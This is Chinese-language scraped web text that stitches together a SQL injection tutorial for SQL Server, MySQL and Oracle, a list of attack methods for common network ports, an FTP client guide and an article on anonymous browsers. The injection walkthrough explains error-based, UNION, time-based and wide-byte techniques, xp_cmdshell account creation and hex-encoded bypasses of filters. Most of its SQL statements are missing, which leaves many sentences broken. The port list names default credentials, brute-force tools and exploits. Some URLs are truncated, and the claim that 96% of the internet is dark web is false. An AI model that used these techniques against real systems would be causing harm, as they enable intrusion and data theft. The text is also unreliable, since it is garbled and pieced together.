SQL语句变为: 语句正确,执行正常,返回的数据与原始请求无任何差异。 ③ 在数据库中输入 SQL 语句变为: 虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。 如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。 2. 字符型注入 当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。 字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。 假设后台的 SQL 语句如下: 判断字符型漏洞的 SQL 注入点: ① 还是先输入单引号 来测试 这样的 SQL 语句就会变为: 。 页面异常。 ② 输入: 注意:在 admin 后有一个单引号 ,用于字符串闭合,最后还有一个注释符 (两条杠后面还有一个空格!!!)。 SQL 语句变为: 页面显示正确。 ③ 输入: SQL 语句变为: 页面错误。 满足上面三个步骤则有可能存在字符型 SQL 注入。 3. 其他类型 其实我觉得 SQL 注入只有两种类型:数字型与字符型。很多人可能会说还有如:Cookie 注入、POST 注入、延时注入等。的确如此,但这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同罢了。 以下是一些常见的注入叫法:POST注入:注入字段在 POST 数据中Cookie注入:注入字段在 Cookie 数据中延时注入:使用数据库延时特性注入搜索注入:注入处为搜索的地方base64注入:注入字符串需要经过 base64 加密 常见数据库的注入 攻击者对于数据库注入,无非是利用数据库获取更多的数据或者更大的权限,利用的方式可以归结为以下几类:查询数据读写文件执行命令 攻击者对于程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的 SQL 语句不一样罢了。 这里介绍三种数据库的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。 SQL Server 1. 利用错误消息提取信息 SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。 ① 枚举当前表或者列 假设选择存在这样一张表: 查询 root 用户的详细信息,SQL 语句猜测如下: 攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:最终执行的 SQL 语句就会变为: 那么 SQL 的执行器可能会抛出一个错误: 攻击者就可以发现当前的表名为 user、而且存在字段 id。 攻击者可以利用此特性继续得到其他列名,输入如下语句:则 SQL 语句变为: 抛出错误:由此可以看到包含列名 username。可以一次递归查询,知道没有错误消息返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。注:Select指定的每一列都应该出现在Group By子句中,除非对这一列使用了聚合函数 ②. 利用数据类型错误提取数据 如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。 如下列 SQL 语句: 执行器错误提示:这就可以获取到用户的用户名为 root。因为在子查询 中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。 利用此方法可以递归推导出所有的账户信息:。通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。 2. 获取元数据 SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。如:若当前表的列数为 2,则可以 UNION 语句获取当前数据库表。具体怎么猜测当前表的列数,后面进行描述。 一些常用的系统数据库视图:数据库视图说明SYS.DATABASESSQL Server 中的所有数据库SYS.SQL_LOGINSSQL Server 中的所有登录名INFORMATION_SCHEMA.TABLES当前用户数据库中的所有数据表INFORMATION_SCHEMA.COLUMNS当前用户数据库中的所有列SYS.ALL_COLUMNS用户定义对象和系统对象的所有列的联合SYS.DATABASE_PRINCIPALS数据库中每个权限或列异常权限SYS.DATABASE_FILES存储在数据库中的数据库文件SYSOBJECTS数据库中创建的每个对象 (包括约束、日志以及存储过程) 3. ORDER BY 子句猜测列数 可以用 ORDER BY 语句来判断当前表的列数。 如:① ——SQL执行正常 ② (按照第一列排序)——SQL执行正常 ③ (按照第二列排序)——SQL执行正常 ④ (按照第三列排序)——SQL 执行正常 ⑤ (按照第四列排序)——SQL 抛出异常:由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中同样适用此方法。 在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。 4. UNION 查询 UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:所有查询中的列数必须相同数据类型必须兼容 ① 用 UNION 查询猜测列数不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。 在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:数据库会发出异常:可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:、 也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。 ② 联合查询敏感信息在得知列数为 4后,可以使用一下语句继续注入: (注:xtype=‘U’ 表示对象类型是表) 若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。 5. 利用SQL Server 提供的系统函数 SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。 如:SELECT suser_name():返回用户的登录标识名SELECT user_name():基于指定的标识号返回数据库用户名SELECT db_name():返回数据库名SELECT is_member(‘db_owner’):是否为数据库角色SELECT convert(int, ‘5’):数据类型转换 6. 存储过程 存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。 攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。例如: 中存在注入点,那么攻击者就可以实施命令攻击: 最终执行的 SQL 语句如下:分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为 test、密码为 test 的用户。注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER 权限。 常见的危险存储过程如下表:存储过程说明sp_addlogin创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例sp_dropuser从当前数据库中删除数据库用户xp_enumgroups提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表xp_regread读取注册表xp_regwrite写入注册表xp_redeletevalue删除注册表xp_dirtree读取目录sp_password更改密码xp_servicecontrol停止或激活某服务 另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:角色权限bulkadmin可以运行 BULK INSERT 语句dbcreator可以创建、更改、删除和还原任何数据库diskadmin可以管理磁盘文件processadmin可以种植在数据库引擎中运行的实例securityadmin可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码serveradmin可以更改服务器范围的配置选项和关闭服务器setupadmin可以添加和删除链接服务器,并可以执行某些系统存储过程sysadmin可以在数据库引擎中执行任何活动 7. 动态执行 SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句。 如: 也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如: declare @query varchar(888)select @query=0xCexec(@query) 或者: MySQL 前面详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异。 1. MySQL 中的注释 MySQL 支持以下 3 中注释风格:“#”: 注释从 “#” 到行尾"-- " :注释从 “-- ”序列到行位,需要注意的是使用此注释时,后面需要跟上空格/**/:注释从 /* 到 */ 之间的字符 2. 获取元数据 MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。 ① 查询用户数据库名称INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。 ②查询当前数据表INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。 ③查询指定表的所有字段INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。 3. UNION 查询 与 SQL Server 大致相同,此处不赘述。 4. MySQL 函数利用 无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。 ① load_file() 函数读文件操作 MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。 SQL 语句如下: 通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:“0x2FF4” 为 “/etc/passwd” 的十六进制转换结果。 在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。 ② into outfile 写文件操作 MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。 写入文件: ③ 连接字符串 MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。 ; 也可以将逗号改用十六进制表示:0x2c 5. MySQL 显错式注入 MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。 ① 通过 updatexml 函数执行 SQL 语句 首先了解下updatexml()函数:updatexml (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称;第二个参数:XPath_string (Xpath格式的字符串) ,第三个参数:new_value,String格式,替换查找到的符合条件的数据 其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,报错,会显示出无法识别的内容: ② 通过 extractvalue函数同样报错显示出当前用户: 6. 宽字节注入 宽字节注入是由编码不统一所造成的,这种注入一般出现在 PHP + MySQL中。 在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反斜线() 和 NULL 字符都会自动加上一个反斜线转义。 如下使用 PHP 代码使用 $_GET 接收参数: 如访问URL:,显示如下: 单引号被转义后就变成了,在 MySQL 中,是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。 但是若是输入:,访问URL:,显示如下:可以发现,这次单引号没有被转义,这样就可以突破 PHP 转义,继续闭合 SQL 语句进行 SQL 注入。 7. MySQL 长字符截断 MySQL 超长字符截断又名 “SQL-Column-Truncation”。在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提示 waring,而不是 error。 假设有一张表如下:username 字段的长度为 7。 分别插入一下 SQL 语句:① 插入正常 SQL 语句:成功插入。 ② 插入错误的 SQL 语句,使 username 字段的长度超过7:虽然有警告,但是成功插入了。 ③ 再尝试插入一条错误的 SQL 语句,长度同一超过原有的规定长度: 查询数据库:可以看到,三条数据都被插入到数据库中,但是值发生了变化。在默认情况下,如果数据超出默认长度,MySQL 会将其阶段。 但是这样怎么攻击呢?通过查询用户名为 admin 的用户:可以发现,只查询用户名为 admin 的用户,但是另外两个长度不一致的 admin 用户也被查询出,这样就会造成一些安全问题。 比如有一处管理员登录时这样判断的: 那么攻击者只需要注册一个长度超过规定长度的用户名“admin ”即可轻易进入后台管理页面。 8. 延时注入 延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。 在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:就是将在 3 秒后执行该 SQL 语句。 可以使用这个函数来判断 URL 是否存在 SQL 注入漏洞,步骤如下:通过页面返回的世界可以断定,DBMS 执行了 语句,这样一来就可以判断出 URL 存在 SQL 注入漏洞。 然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:①查询当前用户,并取得字符串长度执行SQL 语句:如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。 ② 截取字符串第一个字符,并转换为 ASCII 码……不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。 ③ 递归截取字符串每一个字符,分别于 ASCII 码比较注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。 不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。 Oracle 1. 获取元数据 Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:① user_tablespaces 视图,查看表空间 ② user_tables 视图,查看当前用户的所有表 ③ user_tab_columns 视图,查看当前用户的所有列,如查询 user 表的所有列: ④ all_users 视图,查看 ORacle 数据库的所有用户 ⑤ user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引) 2. UNION 查询 Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。 ①获取列的总数获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。 另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立。 在 Oracle 中可以使用:这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。 然后获取非数字类型列,即可以显示出信息的列: 把每一位的 依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。 ② 获取敏感信息常见的敏感信息如下:当前用户权限:当前数据库版本:服务器出口 IP:用 可以实现服务器监听 IP:服务器操作系统:服务器 SID:当前连接用户: ③ 获取数据库表及其内容在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:注意:在查询数据时同样要注意数据类型,否则无法查询,只能一一测试,改变参数的查询位置。 以上就是sql注入的三种方式是什么?的知识。速戳>>知识兔学习精品课! 常用端口: 21端口渗透剖析 FTP通常用作对远程服务器进行管理,典型应用就是对web系统进行管理。一旦FTP密码泄露就直接威胁web系统安全,甚至黑客通过提权可以直接控制服务器。这里剖析渗透FTP服务器的几种方法。 (1)基础爆破:ftp爆破工具很多,这里我推owasp的Bruter,hydra以及msf中的ftp爆破模块。(2) ftp匿名访问:用户名:anonymous 密码:为空或者任意邮箱(3)后门vsftpd :version 2到2.3.4存在后门漏洞,攻击者可以通过该漏洞获取root权限。(https://www.freebuf.com/column/.html)(4)嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关),使用Cain进行渗透。(5)ftp远程代码溢出。(https://blog.csdn.net/weixin_/article/details/)(6)ftp跳转攻击。(https://blog.csdn.net/mgxcool/article/details/) 22端口渗透剖析 SSH 是协议,通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。 SSH 是目前较可靠,专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。 (1)弱口令,可使用工具hydra,msf中的ssh爆破模块。(2)防火墙SSH后门。(https://www.secpulse.com/archives/.html)(3)28退格 OpenSSL(4)openssh 用户枚举 CVE-2018-。(https://www.anquanke.com/post/id/) 23端口渗透剖析 telnet是一种旧的远程管理方式,使用telnet工具登录系统过程中,网络上传输的用户和密码都是以明文方式传送的,黑客可使用嗅探技术截获到此类密码。 (1)暴力破解技术是常用的技术,使用hydra,或者msf中telnet模块对其进行破解。(2)在linux系统中一般采用SSH进行远程访问,传输的敏感数据都是经过加密的。而对于windows下的telnet来说是脆弱的,因为默认没有经过任何加密就在网络中进行传输。使用cain等嗅探工具可轻松截获远程登录密码。 25/465端口渗透剖析 smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件 默认端口:25(smtp)、465(smtps)(1)爆破:弱口令(2)未授权访问 53端口渗透剖析 53端口是DNS域名服务器的通信端口,通常用于域名解析。也是网络中非常关键的服务器之一。这类服务器容易受到攻击。对于此端口的渗透,一般有三种方式。 (1)使用DNS远程溢出漏洞直接对其主机进行溢出攻击,成功后可直接获得系统权限。(https://www.seebug.org/vuldb/ssvid-)(2)使用DNS欺骗攻击,可对DNS域名服务器进行欺骗,如果黑客再配合网页木马进行挂马攻击,无疑是一种杀伤力很强的攻击,黑客可不费吹灰之力就控制内网的大部分主机。这也是内网渗透惯用的技法之一。(https://baijiahao.baidu.com/s?id=&wfr=spider&for=pc)(3)拒绝服务攻击,利用拒绝服务攻击可快速的导致目标服务器运行缓慢,甚至网络瘫痪。如果使用拒绝服务攻击其DNS服务器。将导致用该服务器进行域名解析的用户无法正常上网。(http://www.edu.cn/xxh/fei/zxz//t_.shtml)(4)DNS劫持。(https://blog.csdn.net/qq_/article/details/) 135端口渗透剖析 135端口主要用于使用RPC协议并提供DCOM服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。同时这个端口也爆出过不少漏洞,最严重的就是缓冲区溢出漏洞,曾经疯狂一时的‘冲击波’病毒就是利用这个漏洞进行传播的。 对于135端口的渗透,黑客的渗透方法为: (1)查找存在RPC溢出的主机,进行远程溢出攻击,直接获得系统权限。如用‘DSScan’扫描存在此漏洞的主机。对存在漏洞的主机可使用‘ms05011.exe’进行溢出,溢出成功后获得系统权限。(https://wenku.baidu.com/view/68b3340cc1ec5da710a.html)(2)扫描存在弱口令的135主机,利用RPC远程过程调用开启telnet服务并登录telnet执行系统命令。系统弱口令的扫描一般使用hydra。对于telnet服务的开启可使用工具kali链接。(https://wenku.baidu.com/view/c8b96ae2700abb68a982fbdf.html) 139/445端口渗透剖析 139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。 下面剖析渗透此类端口的基本思路。 (1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_/article/details/)(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/)(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。 1433端口渗透剖析 1433是SQLServer默认的端口,SQL Server服务使用两个端口:tcp-1433、UDP-1434.其中1433用于供SQLServer对外提供服务,1434用于向请求者返回SQLServer使用了哪些TCP/IP端口。 1433端口通常遭到黑客的攻击,而且攻击的方式层出不穷。最严重的莫过于远程溢出漏洞了,如由于SQL注射攻击的兴起,各类数据库时刻面临着安全威胁。利用SQL注射技术对数据库进行渗透是目前比较流行的攻击方式,此类技术属于脚本渗透技术。 (1)对于开放1433端口的SQL Server2000的数据库服务器,黑客尝试使用远程溢出漏洞对主机进行溢出测试,成功后直接获得系统权限。(https://blog.csdn.net/gxj022/article/details/)(2)暴力破解技术是一项经典的技术。一般破解的对象都是SA用户。通过字典破解的方式很快破解出SA的密码。(https://blog.csdn.net/kali_linux/article/details/)(3)嗅探技术同样能嗅探到SQL Server的登录密码。(4)由于脚本程序编写的不严密,例如,程序员对参数过滤不严等,这都会造成严重的注射漏洞。通过SQL注射可间接性的对数据库服务器进行渗透,通过调用一些存储过程执行系统命令。可以使用SQL综合利用工具完成。 1521端口渗透剖析 1521是大型数据库Oracle的默认监听端口,估计新手还对此端口比较陌生,平时大家接触的比较多的是Access,MSSQL以及MYSQL这三种数据库。一般大型站点才会部署这种比较昂贵的数据库系统。对于渗透这种比较复杂的数据库系统,黑客的思路如下: (1)Oracle拥有非常多的默认用户名和密码,为了获得数据库系统的访问权限,破解数据库系统用户以及密码是黑客必须攻破的一道安全防线。(2)SQL注射同样对Oracle十分有效,通过注射可获得数据库的敏感信息,包括管理员密码等。(3)在注入点直接创建java,执行系统命令。(4)https://www.leiphone.com/news//JjzXFp46zEPMvJod.html 2049端口渗透剖析 NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。 3306端口渗透剖析 3306是MYSQL数据库默认的监听端口,通常部署在中型web系统中。在国内LAMP的配置是非常流行的,对于php+mysql构架的攻击也是属于比较热门的话题。mysql数据库允许用户使用自定义函数功能,这使得黑客可编写恶意的自定义函数对服务器进行渗透,最后取得服务器最高权限。 对于3306端口的渗透,黑客的方法如下: (1)由于管理者安全意识淡薄,通常管理密码设置过于简单,甚至为空口令。使用破解软件很容易破解此类密码,利用破解的密码登录远程mysql数据库,上传构造的恶意UDF自定义函数代码进行注册,通过调用注册的恶意函数执行系统命令。或者向web目录导出恶意的脚本程序,以控制整个web系统。(2)功能强大的‘cain’同样支持对3306端口的嗅探,同时嗅探也是渗透思路的一种。(3)SQL注入同样对mysql数据库威胁巨大,不仅可以获取数据库的敏感信息,还可使用load_file()函数读取系统的敏感配置文件或者从web数据库链接文件中获得root口令等,导出恶意代码到指定路径等。 3389端口渗透剖析 3389是windows远程桌面服务默认监听的端口,管理员通过远程桌面对服务器进行维护,这给管理工作带来的极大的方便。通常此端口也是黑客们较为感兴趣的端口之一,利用它可对远程服务器进行控制,而且不需要另外安装额外的软件,实现方法比较简单。当然这也是系统合法的服务,通常是不会被杀毒软件所查杀的。 使用‘输入法漏洞’进行渗透。 (1)对于windows2000的旧系统版本,使用‘输入法漏洞’进行渗透。(2)cain是一款超级的渗透工具,同样支持对3389端口的嗅探。(3)Shift粘滞键后门:5次shift后门(4)社会工程学通常是最可怕的攻击技术,如果管理者的一切习惯和规律被黑客摸透的话,那么他管理的网络系统会因为他的弱点被渗透。(5)爆破3389端口。这里还是推荐使用hydra爆破工具。(6)ms12_020死亡蓝屏攻击。(https://www.cnblogs.com/R-Hacker/p/.html) (7)https://www.cnblogs.com/backlion/p/.html 4899端口渗透剖析 4899端口是remoteadministrator远程控制软件默认监听的端口,也就是平时常说的radmini影子。radmini目前支持TCP/IP协议,应用十分广泛,在很多服务器上都会看到该款软件的影子。对于此软件的渗透,思路如下: (1)radmini同样存在不少弱口令的主机,通过专用扫描器可探测到此类存在漏洞的主机。(2)radmini远控的连接密码和端口都是写入到注册表系统中的,通过使用webshell注册表读取功能可读取radmini在注册表的各项键值内容,从而破解加密的密码散列。 5432端口渗透剖析 PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术 大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。 (1)爆破:弱口令:postgres postgres(2)缓冲区溢出:CVE-2014-2669。(http://drops.xmd5.com/static/drops/tips-6449.html) (3)远程代码执行:CVE-2018-1058。(https://www.secpulse.com/archives/.html) 5631端口渗透剖析 5631端口是著名远程控制软件pcanywhere的默认监听端口,同时也是世界领先的远程控制软件。利用此软件,用户可以有效管理计算机并快速解决技术支持问题。由于软件的设计缺陷,使得黑客可随意下载保存连接密码的*.cif文件,通过专用破解软件进行破解。 这些操作都必须在拥有一定权限下才可完成,至少通过脚本渗透获得一个webshell。通常这些操作在黑客界被称为pcanywhere提权技术。 PcAnyWhere提权。(https://blog.csdn.net/Fly_hps/article/details/) 5900端口渗透剖析 5900端口是优秀远程控制软件VNC的默认监听端口,此软件由著名的AT&T的欧洲研究实验室开发的。VNC是在基于unix和linux操作系统的免费的开放源码软件,远程控制能力强大,高效实用,其性能可以和windows和MAC中的任何一款控制软件媲美。 对于该端口的渗透,思路如下: (1)VNC软件存在密码验证绕过漏洞,此高危漏洞可以使得恶意攻击者不需要密码就可以登录到一个远程系统。(2)cain同样支持对VNC的嗅探,同时支持端口修改。(3)VNC的配置信息同样被写入注册表系统中,其中包括连接的密码和端口。利用webshell的注册表读取功能进行读取加密算法,然后破解。(4)VNC拒绝服务攻击(CVE-2015-5239)。(http://blogs.360.cn/post/vnc%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9Ecve-2015- 5239%E5%88%86%E6%9E%90.html)(5)VNC权限提升(CVE-2013-6886)。 6379端口渗透剖析 Redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。 (1)爆破:弱口令(2)未授权访问+配合ssh key提权。(http://www.alloyteam.com/2017/07//) 7001/7002端口渗透剖析 7001/7002通常是weblogic中间件端口 (1)弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic(2)管理后台部署 war 后门(3)SSRF(4)反序列化漏洞(5)weblogic_uachttps://github.com/vulhub/vulhub/tree/master/weblogic/ssrfhttps://bbs.pediy.com/thread-. htmhttps://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/https:// blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html 8080端口渗透剖析 8080端口通常是apache_Tomcat服务器默认监听端口,apache是世界使用排名第一的web服务器。国内很多大型系统都是使用apache服务器,对于这种大型服务器的渗透,主要有以下方法: (1)Tomcat远程代码执行漏洞(https://www.freebuf.com/column/.html)(2)Tomcat任意文件上传。(http://liehu.tass.com.cn/archives/836)(3)Tomcat远程代码执行&信息泄露。(https://paper.seebug.org/399/)(4)Jboss远程代码执行。(http://mobile.www.cnblogs.com/Safe3/archive/2010/01/08/.html)(5)Jboss反序列化漏洞。(https://www.zybuluo.com/websec007/note/)(6)Jboss漏洞利用。(https://blog.csdn.net/u0/article/details/) 端口渗透剖析 MongoDB,NoSQL数据库;攻击方法与其他数据库类似 (1)爆破:弱口令(2)未授权访问;(http://www.cnblogs.com/LittleHann/p/.html)(3)http://www.tiejiang.org/.htm 以上就是值得收藏的40个黑客常用入侵端口总结的知识。速戳>>知识兔学习精品课! FTP使用教程 首先,百度搜索“FileZilla”,进入官网,然后选中下载页面的 “FileZilla Client” 下载。这里我们选的是免费版本。Pro为付费版。 下载本地,双击运行安装程序。安装完成,打开可以看到如下界面。 下面,来添加一个新的站点。打开“文件”→“站点管理器”,打开一个设置窗口。 点击“新站点”,右边出现编辑区域,填写 主机IP,端口默认写21(FTP端口),登录类型选择“正常”,然后填写 你空间 FTP 用户名和密码。 点击 确定,或者 直接点“连接”,连接成功后会显示 站点的根目录,这里可以看到连接成功。 接着来上传文件,先双击菜单图标,进入网站的web目录下,我们一般把文件放在这里,接着我们在本地资源找到要上传的文件,单击右键,若单个的话,可以直接点击“上传”,或加入队列,多个上传。 以上就是FTP使用教程的知识。速戳>>知识兔学习精品课! 毫无疑问,在目前任何种类的设备上,安装和使用得最多的就是浏览器了,但并非所有的浏览器都可以帮你保密。因此,对于那些十分重视匿名性的同学们来说,暗网浏览器绝对是他们关注的焦点。 普通的浏览器都有Cookie、个性化广告和浏览记录跟踪等功能,在这种情况下,人们的隐私就无法得到保障,而且也并不是所有人都愿意向第三方透露他们在网上的浏览内容,这也突出了暗网浏览器的重要性。 关于暗网 简而言之,大家能直接用普通浏览器查看到的内容,例如网站、博客、视频、图片和应用程序等等,它们只占整个互联网的4%,而剩下的96%都在暗网中。虽然接入暗网可以给用户带来匿名性和隐私保障,但这种行为也给监管机构带来了巨大的麻烦。不过值得一提的是,使用Tor浏览器来访问暗网却是合法的。 出于某些原因,本文不会对暗网进行过多讨论。那么在这篇文章中,我们的主要目的是给大家介绍几款具有超级隐私保护性的匿名浏览器。 Tor浏览器 Tor浏览器是目前市场上第一款具有完全匿名保护性的浏览器,它的出现比目前任何一款都要早。在2014年美国联邦调查局强势“入侵“之前,它在匿名性和安全保护性方面是无人能比的。而在被FBI入侵之后,Tor也修复了相关的漏洞,使其更加健壮和安全。 但说到Tor的框架,就显得没那么安全了,因为它所做的只是通过多个节点来重新传输用户流量,而不是直连用户的物理设备。它只能限制追踪,但不会屏蔽IP地址,不过这种方式也提供了更多的可能性。 目前,Tor浏览器支持macOS、Windows和Linux。 I2P 匿名浏览器I2P跟Tor就有很大的不同了,因为它的匿名性基于的是多层数据流一起工作,从而保护用户的隐私。该浏览器基于可靠的通信库实现,并实现了端到端加密(四层加密),信息的接收端会带有加密标识符,并且可以使用公钥和私钥进行解码。 I2P基于隧道系统实现,发送方需要为出站数据创建一个隧道,接收方也需要为入站数据创建一个通信隧道,发送方客户端将通过出站隧道发送其消息,接收方反之亦然。 这些隧道可以通过网络数据库来进行识别,这种网络数据库更像是基于Kademelia算法的结构化分布式哈希表。I2P目前主要用来创建匿名网站,并使用的是标准Web服务器,并将其与I2PTunnel服务器进行连接。 Subgraph OS Subgraph是一款基于Tor的开源匿名浏览器,它与Tor或I2P不同的是,SubgraphOS是一种操作系统,而并非单独的浏览器。Subgraph OS引入了内核增强功能,MetaProxy、沙盒系统、数据包安全机制、应用程序网络策略、代码完整性和文件系统加密来构建其强大的安全保护性。 通过沙盒系统,它可以帮助我们创建完全隔离的上网环境,并且会在检测到恶意软件时脱离当前实例。此外,Subgraph 